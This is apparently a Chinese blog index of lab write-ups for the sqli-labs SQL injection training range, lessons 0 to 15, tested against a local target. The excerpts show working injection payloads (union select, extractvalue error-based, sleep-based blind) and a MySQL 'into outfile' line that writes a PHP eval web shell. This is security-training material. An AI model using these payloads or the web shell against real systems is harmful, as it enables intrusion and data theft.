sql注入学习总结
用于学习sql注入原理 保证编程规范
枯藤闲画云
不困于心,不乱于情,不畏将来,不念过往.如此,安好.
展开
-
sqli-labs通关-------00下载搭建靶场环境
下载靶场https://github.com/Audi-1/sqli-labs放到phpstudy www目录下 或者自己linux搭建一个。按照readme里面的操作通过其自带程序配置数据库。目前我刚学到的注入方式Get post 万能密码 头 时间盲注 布尔盲注 宽字节注入(通过gbk编码吃掉转义) dns注入( http://ceye.io unc路径 \\select ...原创 2019-05-30 19:20:19 · 1562 阅读 · 0 评论 -
sqli-labs通关-------01lesson 单引号(get方式注入)
判断是否有注入点1.1.实例遇到问题前提解决根据页面提示尝试 http://127.0.0.1:90/sqli-labs/Less-1/?id=1 id=2 …….发现每次页面都有不同数值,姑且判断其具有注入点。毕竟这块是找了个教程跟着走的。https://blog.csdn.net/qq_41420747/article/details/81836327https://blog.c...原创 2019-05-30 19:22:20 · 352 阅读 · 0 评论 -
sqli-labs通关-------02lesson-intiger
数字型注入至此会有人问啥叫数字型注入 啥叫字符型注入?我们看一下lesson1 和lesson 2里面的源代码,我也给他打印到界面上面了。Lesson1Lesson 2我们会发现区别在于$id有没有引号。有引号的就是字符型 我们要考虑用单引号使其闭合(那么问题来了 双引号呢),而数字型不需要。这节就给到这里,其余琢磨lesson1里面的吧...原创 2019-05-31 15:04:57 · 200 阅读 · 0 评论 -
sqli-labs通关-------03lesson-single_quotes_with_twist
基于括号用?id=1 没问题啥都有试试单引号,报错如下然后我们就试试)发现差不多但是我们会发现一个很尴尬的问题 就是and1=2 前面竟然没有爆错????看看源码,打印语句http://127.0.0.1:90/sqli-labs/Less-3/?id=2) and 1=2 union select 1,2,3--+只有这样我们才能成功!!!加上引...原创 2019-05-31 15:06:22 · 638 阅读 · 0 评论 -
sqli-labs通关-------04lesson-double_quotes
到这个我们发现输入单引号和双引号好像都没啥反应http://127.0.0.1:90/sqli-labs/Less-4/?id=1’)?????????所以我们输入一个转义符进去,报错了。为啥输入转移符1.因为我碰到了输错了。。。。。 2.我发现好像换别的字符不行。。 3.so转移符可以进去把sql语句的字符串特殊字符转义,于是赶得巧了...原创 2019-05-31 15:07:13 · 313 阅读 · 0 评论 -
sqli-labs通关-------05lesson-double_injection_single_quotes(盲注)
一进来让我们数据id然后???到这来我们解释一下名词http://www.91ri.org/7636.html介绍一下双查询注入,什么叫双查询注入,这个有点难以解释,通俗的来说就是嵌套子查询。我们理解一下子查询,查询的关键字是select,这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select,里面的这个select语句就是子查询。这种方法...原创 2019-05-31 16:47:44 · 248 阅读 · 0 评论 -
sqli-labs通关-------06lesson-双注入(双引号)
双引号变成了单引号。So过去了原创 2019-07-05 18:20:35 · 454 阅读 · 0 评论 -
sqli-labs通关-------07lesson-文件导出
首先我们介绍一个sql命令Select ‘<?php@eval($_GET[‘cmd’])?>’ into outfile “f://123.php”这句是myslq向外导出文件,这样就可以导出一句话木马了。插嘴一句 php加密与解密的问题自己看看去吧https://www.waitalone.cn/eval-gzinflate-base64_decode-decr...原创 2019-07-05 18:22:29 · 266 阅读 · 0 评论 -
sqli-labs通关-------08lesson-布尔盲注(单引号)
页面没有回显和报错这时我们留需要考虑一下盲注了关于时间盲注和布尔盲注的区别布尔盲注 界面没有报错回显但是会有明显变化,比我我们写错了url会有内容丢失网页内容丢失的现象。时间盲注:就是没有报错页面也没有变化,此时就要考虑时间盲注了。对于lesson 8首先尝试 ?id=1 and 1=2--+,发现页面正常 我们多半要怀疑标点符号未闭合导致 sql语句转换的问题所以我...原创 2019-07-05 18:23:27 · 298 阅读 · 0 评论 -
sqli-labs通关-------09lesson-时间盲注(单引号)
我们先判断有没有注入点,目测好像是没有根据这个图好像是没有闭合的意思。。然后我们就开始对?id=1 进行单引号、双引号、括号,及他们的组合是一个查看页面变化。然后发现它一直是这个鬼样子。看了我们需要尝试一下盲注了,既然啥也不显示,试试时间盲注吧。好像是至此用 ?id=1 and sleep(5)--+ 好像啥大反应。在尝试一下闭合,发现?id=1...原创 2019-07-05 18:24:28 · 328 阅读 · 0 评论 -
sqli-labs通关-------10lesson-时间盲注(双引号)及get注入类型总结
第十课就是第九课的双引号所以过。总结什么get类型注入?就是url通过get类型进行传 类似于http://xxxx.com?id=1&name=s注入就是欺骗服务器执行你的sql(反正我是这样理解的)判断注入点?id=1 and 1=2 看看是否有页面变化判断字段数目(order by 1/2/3) 回显点(union select 1,2,3) 尝试判断是...原创 2019-07-05 18:25:23 · 332 阅读 · 0 评论 -
sqli-labs通关-------11lesson-post(基于错误的POST型单引号字符型注入)
Post 基于表单提交,类似于下图Sql的注释:--【空格】单行注释 在url中用--+ # 单行注释 /**/ 多行注释Post注入 个人觉得就是想法设法搞到密码登录或者想办法绕过密码方法一:我们先随便输入一个账号密码给账号加上反斜杠看看啥情况,发现有报错,so根据报错字段应该是被单引号隐起来的。...原创 2019-07-05 18:26:23 · 450 阅读 · 0 评论 -
sqli-labs通关-------12lesson-post(基于错误的双引号变形)
首先我们查看万能密码变形(对第一个1进行各种引号括号变形)当发现使用双引号进行闭合时发现如下错对于上面的报错 首先怀疑 where username = “usernmae” and password = “ps”那本地数据库对语句进行演练。好了那我们尝试构造一下上面的语句吧。我们进行了如下构造uname=1") and extractvalue(1,c...原创 2019-07-05 18:32:21 · 321 阅读 · 0 评论 -
sqli-labs通关-------14lesson-post(双注入单引号变形 )
我觉得此处应该是双引号。继续输入俩反斜杠,发现是双引号的锅。所以直接盘它uname=uname=admin" and extractvalue(1,concat(0x7e,(select database()))) #&passwd=%40&submit=Submit下面这样也行:uname=admin" and extractvalue(1,co...原创 2019-07-05 18:34:22 · 328 阅读 · 0 评论 -
sqli-labs通关-------13lesson-post(单引号变形双注入)
我们根据尝试发现有报错。以及数据应该是以单引号和括号闭合的。尝试万能密码发现无效然后通过bp抓包改包下面的都可以uname=admin') and extractvalue(1,concat(0x7e,(select database()))) and ('uname=admin') and extractvalue(1,concat(0x7e,(select dat...原创 2019-07-05 18:33:27 · 298 阅读 · 0 评论 -
sqli-labs通关-------15lesson-post(基于单引号的布尔时间盲注)
尝试反斜杠,发现没有任何报错。此刻可以考了一下时间盲注了。uname=1 or sleep(5) #&passwd=&submit=Submit发现无效对username 尝试闭合,发现是单引号闭合。So 开始时间盲注测试吧。我就先告辞了...原创 2019-07-05 18:35:24 · 343 阅读 · 0 评论